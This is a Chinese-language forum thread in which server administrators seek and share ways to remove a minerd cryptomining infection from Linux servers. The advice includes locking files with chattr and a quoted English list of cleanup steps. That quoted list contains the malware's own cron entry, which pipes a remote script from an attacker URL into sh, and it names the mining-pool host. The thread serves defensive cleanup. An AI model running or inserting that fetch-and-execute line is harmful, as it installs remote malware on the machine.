服务器被入侵，做了minerd挖矿机了，清理不掉，求大神

tabtty

Linux 服务器被入侵植入了 /opt/minerd 程序，被当做挖矿肉鸡了。在网上找的方法都不管用，清除掉cron 里面的任务，  crontab -l  已经 no crontab for root 了，并停止 crond 服务了，删除掉系统里面全部名字包含  miner 的文件，然后杀掉 minerd 进程，删掉 /opt/minerd 文件，进程还是会几分钟后就自动启动起来。
求大神支招！！ 拜谢

tabtty

系统里面自动生成一个 /usr/local/etc/minerd.conf   文件，内容是登陆到目标地址的配置，把里面内容改掉了。 然后进程会自动重启，还是显示原来的内容。删掉这文件也不管用。

Shell_HAT

1. cd /usr/local/etc/
   
2. :>minerd.conf
   
3. chmod 000 minerd.conf
   
4. chattr +i minerd.conf

复制代码

tabtty

回复 3# Shell_HAT

方法不错。这个可以让木马程序不往对端发送消息了。但自身 /opt/minerd  程序还是在运行，在消耗大量CPU资源。
能否还有啥办法可以彻底清除这个木马呢
   

Shell_HAT

回复 4# tabtty

1. cd /opt/
   
2. killall minerd
   
3. :>minerd
   
4. chmod 000 minerd
   
5. chattr +i minerd

复制代码

73052

服务器受到同样的攻击了，有彻底解决的方法吗

RE_HASH

外面的帖子：
I found the solution to removing minerd. I was lucky enough to find the actual script that was used to infect my server. All I had to do was remove the elements placed by this script -

On monkeyoto's suggestion, I blocked all communication with the mining pool server - iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
Removed the cron */15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh from /var/spool/cron/root and /var/spool/cron/crontabs/root.
Removed the directory /opt/yam.
Removed /root/.ssh/KHK75NEOiq.
Deleted the files /opt/minerd and /opt/KHK75NEOiq33.
Stopped the minerd process - pkill minerd.
Stopped lady - service lady stop.
I ran ps -eo pcpu,args --sort=-%cpu | head, top -bn2 |sed -n '7,25'p and ps aux | grep minerd after that and the malware was nowhere to be seen.

I still need to figure out how it gained access into the system but I was able to disable it this way.

RE_HASH

系统安全是问题，删掉了病毒可漏洞还在。清查一下有啥老版本的软件，WordPress之类的。

73052

回复 8# RE_HASH


    没有lady这个服务

RE_HASH

看看有没有别的怪模怪样的service
service --status-all

原帖：
http:....//security.stackexchange.com/questions/129448/how-can-i-kill-minerd-malware-on-an-aws-ec2-instance